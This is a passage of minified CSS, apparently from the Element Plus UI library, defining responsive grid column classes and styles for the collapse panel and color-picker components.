0 16.6666666667%;max-width:16.6666666667%}.el-col-sm-offset-4{margin-left:16.6666666667%}.el-col-sm-pull-4{position:relative;right:16.6666666667%}.el-col-sm-push-4{left:16.6666666667%;position:relative}.el-col-sm-5{display:block;flex:0 0 20.8333333333%;max-width:20.8333333333%}.el-col-sm-offset-5{margin-left:20.8333333333%}.el-col-sm-pull-5{position:relative;right:20.8333333333%}.el-col-sm-push-5{left:20.8333333333%;position:relative}.el-col-sm-6{display:block;flex:0 0 25%;max-width:25%}.el-col-sm-offset-6{margin-left:25%}.el-col-sm-pull-6{position:relative;right:25%}.el-col-sm-push-6{left:25%;position:relative}.el-col-sm-7{display:block;flex:0 0 29.1666666667%;max-width:29.1666666667%}.el-col-sm-offset-7{margin-left:29.1666666667%}.el-col-sm-pull-7{position:relative;right:29.1666666667%}.el-col-sm-push-7{left:29.1666666667%;position:relative}.el-col-sm-8{display:block;flex:0 0 33.3333333333%;max-width:33.3333333333%}.el-col-sm-offset-8{margin-left:33.3333333333%}.el-col-sm-pull-8{position:relative;right:33.3333333333%}.el-col-sm-push-8{left:33.3333333333%;position:relative}.el-col-sm-9{display:block;flex:0 0 37.5%;max-width:37.5%}.el-col-sm-offset-9{margin-left:37.5%}.el-col-sm-pull-9{position:relative;right:37.5%}.el-col-sm-push-9{left:37.5%;position:relative}.el-col-sm-10{display:block;flex:0 0 41.6666666667%;max-width:41.6666666667%}.el-col-sm-offset-10{margin-left:41.6666666667%}.el-col-sm-pull-10{position:relative;right:41.6666666667%}.el-col-sm-push-10{left:41.6666666667%;position:relative}.el-col-sm-11{display:block;flex:0 0 45.8333333333%;max-width:45.8333333333%}.el-col-sm-offset-11{margin-left:45.8333333333%}.el-col-sm-pull-11{position:relative;right:45.8333333333%}.el-col-sm-push-11{left:45.8333333333%;position:relative}.el-col-sm-12{display:block;flex:0 0 50%;max-width:50%}.el-col-sm-offset-12{margin-left:50%}.el-col-sm-pull-12{position:relative;right:50%}.el-col-sm-push-12{left:50%;position:relative}.el-col-sm-13{display:block;flex:0 0 54.1666666667%;max-width:54.1666666667%}.el-col-sm-offset-13{margin-left:54.1666666667%}.el-col-sm-pull-13{position:relative;right:54.1666666667%}.el-col-sm-push-13{left:54.1666666667%;position:relative}.el-col-sm-14{display:block;flex:0 0 58.3333333333%;max-width:58.3333333333%}.el-col-sm-offset-14{margin-left:58.3333333333%}.el-col-sm-pull-14{position:relative;right:58.3333333333%}.el-col-sm-push-14{left:58.3333333333%;position:relative}.el-col-sm-15{display:block;flex:0 0 62.5%;max-width:62.5%}.el-col-sm-offset-15{margin-left:62.5%}.el-col-sm-pull-15{position:relative;right:62.5%}.el-col-sm-push-15{left:62.5%;position:relative}.el-col-sm-16{display:block;flex:0 0 66.6666666667%;max-width:66.6666666667%}.el-col-sm-offset-16{margin-left:66.6666666667%}.el-col-sm-pull-16{position:relative;right:66.6666666667%}.el-col-sm-push-16{left:66.6666666667%;position:relative}.el-col-sm-17{display:block;flex:0 0 70.8333333333%;max-width:70.8333333333%}.el-col-sm-offset-17{margin-left:70.8333333333%}.el-col-sm-pull-17{position:relative;right:70.8333333333%}.el-col-sm-push-17{left:70.8333333333%;position:relative}.el-col-sm-18{display:block;flex:0 0 75%;max-width:75%}.el-col-sm-offset-18{margin-left:75%}.el-col-sm-pull-18{position:relative;right:75%}.el-col-sm-push-18{left:75%;position:relative}.el-col-sm-19{display:block;flex:0 0 79.1666666667%;max-width:79.1666666667%}.el-col-sm-offset-19{margin-left:79.1666666667%}.el-col-sm-pull-19{position:relative;right:79.1666666667%}.el-col-sm-push-19{left:79.1666666667%;position:relative}.el-col-sm-20{display:block;flex:0 0 83.3333333333%;max-width:83.3333333333%}.el-col-sm-offset-20{margin-left:83.3333333333%}.el-col-sm-pull-20{position:relative;right:83.3333333333%}.el-col-sm-push-20{left:83.3333333333%;position:relative}.el-col-sm-21{display:block;flex:0 0 87.5%;max-width:87.5%}.el-col-sm-offset-21{margin-left:87.5%}.el-col-sm-pull-21{position:relative;right:87.5%}.el-col-sm-push-21{left:87.5%;position:relative}.el-col-sm-22{display:block;flex:0 0 91.6666666667%;max-width:91.6666666667%}.el-col-sm-offset-22{margin-left:91.6666666667%}.el-col-sm-pull-22{position:relative;right:91.6666666667%}.el-col-sm-push-22{left:91.6666666667%;position:relative}.el-col-sm-23{display:block;flex:0 0 95.8333333333%;max-width:95.8333333333%}.el-col-sm-offset-23{margin-left:95.8333333333%}.el-col-sm-pull-23{position:relative;right:95.8333333333%}.el-col-sm-push-23{left:95.8333333333%;position:relative}.el-col-sm-24{display:block;flex:0 0 100%;max-width:100%}.el-col-sm-offset-24{margin-left:100%}.el-col-sm-pull-24{position:relative;right:100%}.el-col-sm-push-24{left:100%;position:relative}}@media only screen and (min-width:992px){.el-col-md-0,.el-col-md-0.is-guttered{display:none}.el-col-md-0{flex:0 0 0%;max-width:0}.el-col-md-offset-0{margin-left:0}.el-col-md-pull-0{position:relative;right:0}.el-col-md-push-0{left:0;position:relative}.el-col-md-1{display:block;flex:0 0 4.1666666667%;max-width:4.1666666667%}.el-col-md-offset-1{margin-left:4.1666666667%}.el-col-md-pull-1{position:relative;right:4.1666666667%}.el-col-md-push-1{left:4.1666666667%;position:relative}.el-col-md-2{display:block;flex:0 0 8.3333333333%;max-width:8.3333333333%}.el-col-md-offset-2{margin-left:8.3333333333%}.el-col-md-pull-2{position:relative;right:8.3333333333%}.el-col-md-push-2{left:8.3333333333%;position:relative}.el-col-md-3{display:block;flex:0 0 12.5%;max-width:12.5%}.el-col-md-offset-3{margin-left:12.5%}.el-col-md-pull-3{position:relative;right:12.5%}.el-col-md-push-3{left:12.5%;position:relative}.el-col-md-4{display:block;flex:0 0 16.6666666667%;max-width:16.6666666667%}.el-col-md-offset-4{margin-left:16.6666666667%}.el-col-md-pull-4{position:relative;right:16.6666666667%}.el-col-md-push-4{left:16.6666666667%;position:relative}.el-col-md-5{display:block;flex:0 0 20.8333333333%;max-width:20.8333333333%}.el-col-md-offset-5{margin-left:20.8333333333%}.el-col-md-pull-5{position:relative;right:20.8333333333%}.el-col-md-push-5{left:20.8333333333%;position:relative}.el-col-md-6{display:block;flex:0 0 25%;max-width:25%}.el-col-md-offset-6{margin-left:25%}.el-col-md-pull-6{position:relative;right:25%}.el-col-md-push-6{left:25%;position:relative}.el-col-md-7{display:block;flex:0 0 29.1666666667%;max-width:29.1666666667%}.el-col-md-offset-7{margin-left:29.1666666667%}.el-col-md-pull-7{position:relative;right:29.1666666667%}.el-col-md-push-7{left:29.1666666667%;position:relative}.el-col-md-8{display:block;flex:0 0 33.3333333333%;max-width:33.3333333333%}.el-col-md-offset-8{margin-left:33.3333333333%}.el-col-md-pull-8{position:relative;right:33.3333333333%}.el-col-md-push-8{left:33.3333333333%;position:relative}.el-col-md-9{display:block;flex:0 0 37.5%;max-width:37.5%}.el-col-md-offset-9{margin-left:37.5%}.el-col-md-pull-9{position:relative;right:37.5%}.el-col-md-push-9{left:37.5%;position:relative}.el-col-md-10{display:block;flex:0 0 41.6666666667%;max-width:41.6666666667%}.el-col-md-offset-10{margin-left:41.6666666667%}.el-col-md-pull-10{position:relative;right:41.6666666667%}.el-col-md-push-10{left:41.6666666667%;position:relative}.el-col-md-11{display:block;flex:0 0 45.8333333333%;max-width:45.8333333333%}.el-col-md-offset-11{margin-left:45.8333333333%}.el-col-md-pull-11{position:relative;right:45.8333333333%}.el-col-md-push-11{left:45.8333333333%;position:relative}.el-col-md-12{display:block;flex:0 0 50%;max-width:50%}.el-col-md-offset-12{margin-left:50%}.el-col-md-pull-12{position:relative;right:50%}.el-col-md-push-12{left:50%;position:relative}.el-col-md-13{display:block;flex:0 0 54.1666666667%;max-width:54.1666666667%}.el-col-md-offset-13{margin-left:54.1666666667%}.el-col-md-pull-13{position:relative;right:54.1666666667%}.el-col-md-push-13{left:54.1666666667%;position:relative}.el-col-md-14{display:block;flex:0 0 58.3333333333%;max-width:58.3333333333%}.el-col-md-offset-14{margin-left:58.3333333333%}.el-col-md-pull-14{position:relative;right:58.3333333333%}.el-col-md-push-14{left:58.3333333333%;position:relative}.el-col-md-15{display:block;flex:0 0 62.5%;max-width:62.5%}.el-col-md-offset-15{margin-left:62.5%}.el-col-md-pull-15{position:relative;right:62.5%}.el-col-md-push-15{left:62.5%;position:relative}.el-col-md-16{display:block;flex:0 0 66.6666666667%;max-width:66.6666666667%}.el-col-md-offset-16{margin-left:66.6666666667%}.el-col-md-pull-16{position:relative;right:66.6666666667%}.el-col-md-push-16{left:66.6666666667%;position:relative}.el-col-md-17{display:block;flex:0 0 70.8333333333%;max-width:70.8333333333%}.el-col-md-offset-17{margin-left:70.8333333333%}.el-col-md-pull-17{position:relative;right:70.8333333333%}.el-col-md-push-17{left:70.8333333333%;position:relative}.el-col-md-18{display:block;flex:0 0 75%;max-width:75%}.el-col-md-offset-18{margin-left:75%}.el-col-md-pull-18{position:relative;right:75%}.el-col-md-push-18{left:75%;position:relative}.el-col-md-19{display:block;flex:0 0 79.1666666667%;max-width:79.1666666667%}.el-col-md-offset-19{margin-left:79.1666666667%}.el-col-md-pull-19{position:relative;right:79.1666666667%}.el-col-md-push-19{left:79.1666666667%;position:relative}.el-col-md-20{display:block;flex:0 0 83.3333333333%;max-width:83.3333333333%}.el-col-md-offset-20{margin-left:83.3333333333%}.el-col-md-pull-20{position:relative;right:83.3333333333%}.el-col-md-push-20{left:83.3333333333%;position:relative}.el-col-md-21{display:block;flex:0 0 87.5%;max-width:87.5%}.el-col-md-offset-21{margin-left:87.5%}.el-col-md-pull-21{position:relative;right:87.5%}.el-col-md-push-21{left:87.5%;position:relative}.el-col-md-22{display:block;flex:0 0 91.6666666667%;max-width:91.6666666667%}.el-col-md-offset-22{margin-left:91.6666666667%}.el-col-md-pull-22{position:relative;right:91.6666666667%}.el-col-md-push-22{left:91.6666666667%;position:relative}.el-col-md-23{display:block;flex:0 0 95.8333333333%;max-width:95.8333333333%}.el-col-md-offset-23{margin-left:95.8333333333%}.el-col-md-pull-23{position:relative;right:95.8333333333%}.el-col-md-push-23{left:95.8333333333%;position:relative}.el-col-md-24{display:block;flex:0 0 100%;max-width:100%}.el-col-md-offset-24{margin-left:100%}.el-col-md-pull-24{position:relative;right:100%}.el-col-md-push-24{left:100%;position:relative}}@media only screen and (min-width:1200px){.el-col-lg-0,.el-col-lg-0.is-guttered{display:none}.el-col-lg-0{flex:0 0 0%;max-width:0}.el-col-lg-offset-0{margin-left:0}.el-col-lg-pull-0{position:relative;right:0}.el-col-lg-push-0{left:0;position:relative}.el-col-lg-1{display:block;flex:0 0 4.1666666667%;max-width:4.1666666667%}.el-col-lg-offset-1{margin-left:4.1666666667%}.el-col-lg-pull-1{position:relative;right:4.1666666667%}.el-col-lg-push-1{left:4.1666666667%;position:relative}.el-col-lg-2{display:block;flex:0 0 8.3333333333%;max-width:8.3333333333%}.el-col-lg-offset-2{margin-left:8.3333333333%}.el-col-lg-pull-2{position:relative;right:8.3333333333%}.el-col-lg-push-2{left:8.3333333333%;position:relative}.el-col-lg-3{display:block;flex:0 0 12.5%;max-width:12.5%}.el-col-lg-offset-3{margin-left:12.5%}.el-col-lg-pull-3{position:relative;right:12.5%}.el-col-lg-push-3{left:12.5%;position:relative}.el-col-lg-4{display:block;flex:0 0 16.6666666667%;max-width:16.6666666667%}.el-col-lg-offset-4{margin-left:16.6666666667%}.el-col-lg-pull-4{position:relative;right:16.6666666667%}.el-col-lg-push-4{left:16.6666666667%;position:relative}.el-col-lg-5{display:block;flex:0 0 20.8333333333%;max-width:20.8333333333%}.el-col-lg-offset-5{margin-left:20.8333333333%}.el-col-lg-pull-5{position:relative;right:20.8333333333%}.el-col-lg-push-5{left:20.8333333333%;position:relative}.el-col-lg-6{display:block;flex:0 0 25%;max-width:25%}.el-col-lg-offset-6{margin-left:25%}.el-col-lg-pull-6{position:relative;right:25%}.el-col-lg-push-6{left:25%;position:relative}.el-col-lg-7{display:block;flex:0 0 29.1666666667%;max-width:29.1666666667%}.el-col-lg-offset-7{margin-left:29.1666666667%}.el-col-lg-pull-7{position:relative;right:29.1666666667%}.el-col-lg-push-7{left:29.1666666667%;position:relative}.el-col-lg-8{display:block;flex:0 0 33.3333333333%;max-width:33.3333333333%}.el-col-lg-offset-8{margin-left:33.3333333333%}.el-col-lg-pull-8{position:relative;right:33.3333333333%}.el-col-lg-push-8{left:33.3333333333%;position:relative}.el-col-lg-9{display:block;flex:0 0 37.5%;max-width:37.5%}.el-col-lg-offset-9{margin-left:37.5%}.el-col-lg-pull-9{position:relative;right:37.5%}.el-col-lg-push-9{left:37.5%;position:relative}.el-col-lg-10{display:block;flex:0 0 41.6666666667%;max-width:41.6666666667%}.el-col-lg-offset-10{margin-left:41.6666666667%}.el-col-lg-pull-10{position:relative;right:41.6666666667%}.el-col-lg-push-10{left:41.6666666667%;position:relative}.el-col-lg-11{display:block;flex:0 0 45.8333333333%;max-width:45.8333333333%}.el-col-lg-offset-11{margin-left:45.8333333333%}.el-col-lg-pull-11{position:relative;right:45.8333333333%}.el-col-lg-push-11{left:45.8333333333%;position:relative}.el-col-lg-12{display:block;flex:0 0 50%;max-width:50%}.el-col-lg-offset-12{margin-left:50%}.el-col-lg-pull-12{position:relative;right:50%}.el-col-lg-push-12{left:50%;position:relative}.el-col-lg-13{display:block;flex:0 0 54.1666666667%;max-width:54.1666666667%}.el-col-lg-offset-13{margin-left:54.1666666667%}.el-col-lg-pull-13{position:relative;right:54.1666666667%}.el-col-lg-push-13{left:54.1666666667%;position:relative}.el-col-lg-14{display:block;flex:0 0 58.3333333333%;max-width:58.3333333333%}.el-col-lg-offset-14{margin-left:58.3333333333%}.el-col-lg-pull-14{position:relative;right:58.3333333333%}.el-col-lg-push-14{left:58.3333333333%;position:relative}.el-col-lg-15{display:block;flex:0 0 62.5%;max-width:62.5%}.el-col-lg-offset-15{margin-left:62.5%}.el-col-lg-pull-15{position:relative;right:62.5%}.el-col-lg-push-15{left:62.5%;position:relative}.el-col-lg-16{display:block;flex:0 0 66.6666666667%;max-width:66.6666666667%}.el-col-lg-offset-16{margin-left:66.6666666667%}.el-col-lg-pull-16{position:relative;right:66.6666666667%}.el-col-lg-push-16{left:66.6666666667%;position:relative}.el-col-lg-17{display:block;flex:0 0 70.8333333333%;max-width:70.8333333333%}.el-col-lg-offset-17{margin-left:70.8333333333%}.el-col-lg-pull-17{position:relative;right:70.8333333333%}.el-col-lg-push-17{left:70.8333333333%;position:relative}.el-col-lg-18{display:block;flex:0 0 75%;max-width:75%}.el-col-lg-offset-18{margin-left:75%}.el-col-lg-pull-18{position:relative;right:75%}.el-col-lg-push-18{left:75%;position:relative}.el-col-lg-19{display:block;flex:0 0 79.1666666667%;max-width:79.1666666667%}.el-col-lg-offset-19{margin-left:79.1666666667%}.el-col-lg-pull-19{position:relative;right:79.1666666667%}.el-col-lg-push-19{left:79.1666666667%;position:relative}.el-col-lg-20{display:block;flex:0 0 83.3333333333%;max-width:83.3333333333%}.el-col-lg-offset-20{margin-left:83.3333333333%}.el-col-lg-pull-20{position:relative;right:83.3333333333%}.el-col-lg-push-20{left:83.3333333333%;position:relative}.el-col-lg-21{display:block;flex:0 0 87.5%;max-width:87.5%}.el-col-lg-offset-21{margin-left:87.5%}.el-col-lg-pull-21{position:relative;right:87.5%}.el-col-lg-push-21{left:87.5%;position:relative}.el-col-lg-22{display:block;flex:0 0 91.6666666667%;max-width:91.6666666667%}.el-col-lg-offset-22{margin-left:91.6666666667%}.el-col-lg-pull-22{position:relative;right:91.6666666667%}.el-col-lg-push-22{left:91.6666666667%;position:relative}.el-col-lg-23{display:block;flex:0 0 95.8333333333%;max-width:95.8333333333%}.el-col-lg-offset-23{margin-left:95.8333333333%}.el-col-lg-pull-23{position:relative;right:95.8333333333%}.el-col-lg-push-23{left:95.8333333333%;position:relative}.el-col-lg-24{display:block;flex:0 0 100%;max-width:100%}.el-col-lg-offset-24{margin-left:100%}.el-col-lg-pull-24{position:relative;right:100%}.el-col-lg-push-24{left:100%;position:relative}}@media only screen and (min-width:1920px){.el-col-xl-0,.el-col-xl-0.is-guttered{display:none}.el-col-xl-0{flex:0 0 0%;max-width:0}.el-col-xl-offset-0{margin-left:0}.el-col-xl-pull-0{position:relative;right:0}.el-col-xl-push-0{left:0;position:relative}.el-col-xl-1{display:block;flex:0 0 4.1666666667%;max-width:4.1666666667%}.el-col-xl-offset-1{margin-left:4.1666666667%}.el-col-xl-pull-1{position:relative;right:4.1666666667%}.el-col-xl-push-1{left:4.1666666667%;position:relative}.el-col-xl-2{display:block;flex:0 0 8.3333333333%;max-width:8.3333333333%}.el-col-xl-offset-2{margin-left:8.3333333333%}.el-col-xl-pull-2{position:relative;right:8.3333333333%}.el-col-xl-push-2{left:8.3333333333%;position:relative}.el-col-xl-3{display:block;flex:0 0 12.5%;max-width:12.5%}.el-col-xl-offset-3{margin-left:12.5%}.el-col-xl-pull-3{position:relative;right:12.5%}.el-col-xl-push-3{left:12.5%;position:relative}.el-col-xl-4{display:block;flex:0 0 16.6666666667%;max-width:16.6666666667%}.el-col-xl-offset-4{margin-left:16.6666666667%}.el-col-xl-pull-4{position:relative;right:16.6666666667%}.el-col-xl-push-4{left:16.6666666667%;position:relative}.el-col-xl-5{display:block;flex:0 0 20.8333333333%;max-width:20.8333333333%}.el-col-xl-offset-5{margin-left:20.8333333333%}.el-col-xl-pull-5{position:relative;right:20.8333333333%}.el-col-xl-push-5{left:20.8333333333%;position:relative}.el-col-xl-6{display:block;flex:0 0 25%;max-width:25%}.el-col-xl-offset-6{margin-left:25%}.el-col-xl-pull-6{position:relative;right:25%}.el-col-xl-push-6{left:25%;position:relative}.el-col-xl-7{display:block;flex:0 0 29.1666666667%;max-width:29.1666666667%}.el-col-xl-offset-7{margin-left:29.1666666667%}.el-col-xl-pull-7{position:relative;right:29.1666666667%}.el-col-xl-push-7{left:29.1666666667%;position:relative}.el-col-xl-8{display:block;flex:0 0 33.3333333333%;max-width:33.3333333333%}.el-col-xl-offset-8{margin-left:33.3333333333%}.el-col-xl-pull-8{position:relative;right:33.3333333333%}.el-col-xl-push-8{left:33.3333333333%;position:relative}.el-col-xl-9{display:block;flex:0 0 37.5%;max-width:37.5%}.el-col-xl-offset-9{margin-left:37.5%}.el-col-xl-pull-9{position:relative;right:37.5%}.el-col-xl-push-9{left:37.5%;position:relative}.el-col-xl-10{display:block;flex:0 0 41.6666666667%;max-width:41.6666666667%}.el-col-xl-offset-10{margin-left:41.6666666667%}.el-col-xl-pull-10{position:relative;right:41.6666666667%}.el-col-xl-push-10{left:41.6666666667%;position:relative}.el-col-xl-11{display:block;flex:0 0 45.8333333333%;max-width:45.8333333333%}.el-col-xl-offset-11{margin-left:45.8333333333%}.el-col-xl-pull-11{position:relative;right:45.8333333333%}.el-col-xl-push-11{left:45.8333333333%;position:relative}.el-col-xl-12{display:block;flex:0 0 50%;max-width:50%}.el-col-xl-offset-12{margin-left:50%}.el-col-xl-pull-12{position:relative;right:50%}.el-col-xl-push-12{left:50%;position:relative}.el-col-xl-13{display:block;flex:0 0 54.1666666667%;max-width:54.1666666667%}.el-col-xl-offset-13{margin-left:54.1666666667%}.el-col-xl-pull-13{position:relative;right:54.1666666667%}.el-col-xl-push-13{left:54.1666666667%;position:relative}.el-col-xl-14{display:block;flex:0 0 58.3333333333%;max-width:58.3333333333%}.el-col-xl-offset-14{margin-left:58.3333333333%}.el-col-xl-pull-14{position:relative;right:58.3333333333%}.el-col-xl-push-14{left:58.3333333333%;position:relative}.el-col-xl-15{display:block;flex:0 0 62.5%;max-width:62.5%}.el-col-xl-offset-15{margin-left:62.5%}.el-col-xl-pull-15{position:relative;right:62.5%}.el-col-xl-push-15{left:62.5%;position:relative}.el-col-xl-16{display:block;flex:0 0 66.6666666667%;max-width:66.6666666667%}.el-col-xl-offset-16{margin-left:66.6666666667%}.el-col-xl-pull-16{position:relative;right:66.6666666667%}.el-col-xl-push-16{left:66.6666666667%;position:relative}.el-col-xl-17{display:block;flex:0 0 70.8333333333%;max-width:70.8333333333%}.el-col-xl-offset-17{margin-left:70.8333333333%}.el-col-xl-pull-17{position:relative;right:70.8333333333%}.el-col-xl-push-17{left:70.8333333333%;position:relative}.el-col-xl-18{display:block;flex:0 0 75%;max-width:75%}.el-col-xl-offset-18{margin-left:75%}.el-col-xl-pull-18{position:relative;right:75%}.el-col-xl-push-18{left:75%;position:relative}.el-col-xl-19{display:block;flex:0 0 79.1666666667%;max-width:79.1666666667%}.el-col-xl-offset-19{margin-left:79.1666666667%}.el-col-xl-pull-19{position:relative;right:79.1666666667%}.el-col-xl-push-19{left:79.1666666667%;position:relative}.el-col-xl-20{display:block;flex:0 0 83.3333333333%;max-width:83.3333333333%}.el-col-xl-offset-20{margin-left:83.3333333333%}.el-col-xl-pull-20{position:relative;right:83.3333333333%}.el-col-xl-push-20{left:83.3333333333%;position:relative}.el-col-xl-21{display:block;flex:0 0 87.5%;max-width:87.5%}.el-col-xl-offset-21{margin-left:87.5%}.el-col-xl-pull-21{position:relative;right:87.5%}.el-col-xl-push-21{left:87.5%;position:relative}.el-col-xl-22{display:block;flex:0 0 91.6666666667%;max-width:91.6666666667%}.el-col-xl-offset-22{margin-left:91.6666666667%}.el-col-xl-pull-22{position:relative;right:91.6666666667%}.el-col-xl-push-22{left:91.6666666667%;position:relative}.el-col-xl-23{display:block;flex:0 0 95.8333333333%;max-width:95.8333333333%}.el-col-xl-offset-23{margin-left:95.8333333333%}.el-col-xl-pull-23{position:relative;right:95.8333333333%}.el-col-xl-push-23{left:95.8333333333%;position:relative}.el-col-xl-24{display:block;flex:0 0 100%;max-width:100%}.el-col-xl-offset-24{margin-left:100%}.el-col-xl-pull-24{position:relative;right:100%}.el-col-xl-push-24{left:100%;position:relative}}.el-collapse{--el-collapse-border-color:var(--el-border-color-lighter);--el-collapse-header-height:48px;--el-collapse-header-bg-color:var(--el-fill-color-blank);--el-collapse-header-text-color:var(--el-text-color-primary);--el-collapse-header-font-size:13px;--el-collapse-content-bg-color:var(--el-fill-color-blank);--el-collapse-content-font-size:13px;--el-collapse-content-text-color:var(--el-text-color-primary);border-bottom:1px solid var(--el-collapse-border-color);border-top:1px solid var(--el-collapse-border-color)}.el-collapse-item.is-disabled .el-collapse-item__header{color:var(--el-text-color-disabled);cursor:not-allowed}.el-collapse-item__header{align-items:center;background-color:var(--el-collapse-header-bg-color);border:none;border-bottom:1px solid var(--el-collapse-border-color);color:var(--el-collapse-header-text-color);cursor:pointer;display:flex;font-size:var(--el-collapse-header-font-size);font-weight:500;height:var(--el-collapse-header-height);line-height:var(--el-collapse-header-height);outline:none;padding:0;transition:border-bottom-color var(--el-transition-duration);width:100%}.el-collapse-item__arrow{font-weight:300;margin:0 8px 0 auto;transition:transform var(--el-transition-duration)}.el-collapse-item__arrow.is-active{transform:rotate(90deg)}.el-collapse-item__header.focusing:focus:not(:hover){color:var(--el-color-primary)}.el-collapse-item__header.is-active{border-bottom-color:transparent}.el-collapse-item__wrap{background-color:var(--el-collapse-content-bg-color);border-bottom:1px solid var(--el-collapse-border-color);box-sizing:border-box;overflow:hidden;will-change:height}.el-collapse-item__content{color:var(--el-collapse-content-text-color);font-size:var(--el-collapse-content-font-size);line-height:1.7692307692;padding-bottom:25px}.el-collapse-item:last-child{margin-bottom:-1px}.el-color-predefine{display:flex;font-size:12px;margin-top:8px;width:280px}.el-color-predefine__colors{display:flex;flex:1;flex-wrap:wrap}.el-color-predefine__color-selector{border-radius:4px;cursor:pointer;height:20px;margin:0 0 8px 8px;width:20px}.el-color-predefine__color-selector:nth-child(10n+1){margin-left:0}.el-color-predefine__color-selector.selected{box-shadow:0 0 3px 2px var(--el-color-primary)}.el-color-predefine__color-selector>div{border-radius:3px;display:flex;height:100%}.el-color-predefine__color-selector.is-alpha{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.el-color-hue-slider{background-color:red;box-sizing:border-box;float:right;height:12px;padding:0 2px;position:relative;width:280px}.el-color-hue-slider__bar{background:linear-gradient(90deg,red 0,#ff0 17%,#0f0 33%,#0ff,#00f 67%,#f0f 83%,red);height:100%;position:relative}.el-color-hue-slider__thumb{background:#fff;border:1px solid var(--el-border-color-lighter);border-radius:1px;box-shadow:0 0 2px #0009;box-sizing:border-box;cursor:pointer;height:100%;left:0;position:absolute;top:0;width:4px;z-index:1}.el-color-hue-slider.is-vertical{height:180px;padding:2px 0;width:12px}.el-color-hue-slider.is-vertical .el-color-hue-slider__bar{background:linear-gradient(180deg,red 0,#ff0 17%,#0f0 33%,#0ff,#00f 67%,#f0f 83%,red)}.el-color-hue-slider.is-vertical .el-color-hue-slider__thumb{height:4px;left:0;top:0;width:100%}.el-color-svpanel{height:180px;position:relative;width:280px}.el-color-svpanel__black,.el-color-svpanel__white{bottom:0;left:0;position:absolute;right:0;top:0}.el-color-svpanel__white{background:linear-gradient(90deg,#fff,#fff0)}.el-color-svpanel__black{background:linear-gradient(0deg,#000,#0000)}.el-color-svpanel__cursor{position:absolute}.el-color-svpanel__cursor>div{border-radius:50%;box-shadow:0 0 0 1.5px #fff,inset 0 0 1px 1px #0000004d,0 0 1px 2px #0006;cursor:head;height:4px;transform:translate(-2px,-2px);width:4px}.el-color-alpha-slider{background-image:linear-gradient(45deg,var(--el-color-picker-alpha-bg-a) 25%,var(--el-color-picker-alpha-bg-b) 25%),linear-gradient(135deg,var(--el-color-picker-alpha-bg-a) 25%,var(--el-color-picker-alpha-bg-b) 25%),linear-gradient(45deg,var(--el-color-picker-alpha-bg-b) 75%,var(--el-color-picker-alpha-bg-a) 75%),linear-gradient(135deg,var(--el-color-picker-alpha-bg-b) 75%,var(--el-color-picker-alpha-bg-a) 75%);background-position:0 0,6px 0,6px -6px,0 6px;background-size:12px 12px;box-sizing:border-box;height:12px;position:relative;width:280px}.el-color-alpha-slider__bar{background:linear-gradient(to right,rgba(255,255,255,0) 0,var(--el-bg-color) 100%);height:100%;position:relative}.el-color-alpha-slider__thumb{background:#fff;border:1px solid var(--el-border-color-lighter);border-radius:1px;box-shadow:0 0 2px #0009;box-sizing:border-box;cursor:pointer;height:100%;left:0;position:absolute;top:0;width:4px;z-index:1}.el-color-alpha-slider.is-vertical{height:180px;width:20px}.el-color-alpha-slider.is-vertical .el-color-alpha-slider__bar{background:linear-gradient(180deg,#fff0 0,#fff)}.el-color-alpha-slider.is-vertical .el-color-alpha-slider__thumb{height:4px;left:0;top:0;width:100%}.el-color-dropdown{width:300px}.el-color-dropdown__main-wrapper{margin-bottom:6px}.el-color-dropdown__main-wrapper:after{clear:both;content:"";display:table}.el-color-dropdown__btns{margin-top:12px;text-align:right}.el-color-dropdown__value{color:#000;float:left;font-size:12px;line-height:26px;width:160px}.el-color-picker{display:inline-block;line-height:normal;outline:none;position:relative}.el-color-picker:hover:not(.is-disabled,.is-focused) .el-color-picker__trigger{border-color:var(--el-border-color-hover)}.el-color-picker:focus-visible:not(.is-disabled) .el-color-picker__trigger{outline:2px solid var(--el-color-primary);outline-offset:1px}.el-color-picker.is-focused .el-color-picker__trigger{border-color:var(--el-color-primary)}.el-color-picker.is-disabled .el-color-picker__trigger{cursor:not-allowed}.el-color-picker--large{height:40px}.el-color-picker--large .el-color-picker__trigger{height:40px;width:40px}.el-color-picker--large .el-color-picker__mask{height:38px;width:38px}.el-color-picker--small{height:24px}.el-color-picker--small .el-color-picker__trigger{height:24px;width:24px}.el-color-picker--small .el-color-picker__mask{height:22px;width:22px}.el-color-picker--small .el-color-picker__empty,.el-color-picker--small .el-color-picker__icon{transform:scale(.8)}.el-color-picker__mask{background-color:#ffffffb3;border-radius:4px;cursor:not-allowed;height:30px;left:1px;position:absolute;top:1px;width:30px;z-index:1}.el-color-picker__trigger{align-items:center;border:1px solid var(--el-border-color);border-radius:4px;box-sizing:border-box;cursor:pointer;display:inline-flex;font-size:0;height:32px;justify-content:center;padding:4px;position:relative;width:32px}.el-color-picker__color{border:1px solid var(--el-text-color-secondary);border-radius:var(--el-border-radius-small);box-sizing:border-box;display:block;height:100%;position:relative;text-align:center;width:100%}.el-color-picker__color.is-alpha{background-image:linear-gradient(45deg,var(--el-color-picker-alpha-bg-a) 25%,var(--el-color-picker-alpha-bg-b) 25%),linear-gradient(135deg,var(--el-color-picker-alpha-bg-a) 25%,var(--el-color-picker-alpha-bg-b) 25%),linear-gradient(45deg,var(--el-color-picker-alpha-bg-b) 75%,var(--el-color-picker-alpha-bg-a) 75%),linear-gradient(135deg,var(--el-color-picker-alpha-bg-b) 75%,var(--el-color-picker-alpha-bg-a) 75%);background-position:0 0,6px 0,6px -6px,0 6px;background-size:12px 12px}.el-color-picker__color-inner{align-items:center;display:inline-flex;height:100%;justify-content:center;width:100%}.el-color-picker .el-color-picker__empty{color:var(--el-text-color-secondary);font-size:12px}.el-color-picker .el-color-picker__icon{align-items:center;color:#fff;display:inline-flex;font-size:12px;justify-content:center}.el-color-picker__panel{background-color:#fff;border-radius:var(--el-border-radius-base);box-shadow:var(--el-box-shadow-light);box-sizing:content-box;padding:6px;position:absolute;z-index:10}.el-color-picker__panel.el-popper{border:1px solid var(--el-border-color-lighter)}.el-color-picker,.el-color-picker__panel{--el-color-picker-alpha-bg-a:#ccc;--el-color-picker-alpha-bg-b:transparent}.dark .el-color-picker,.dark 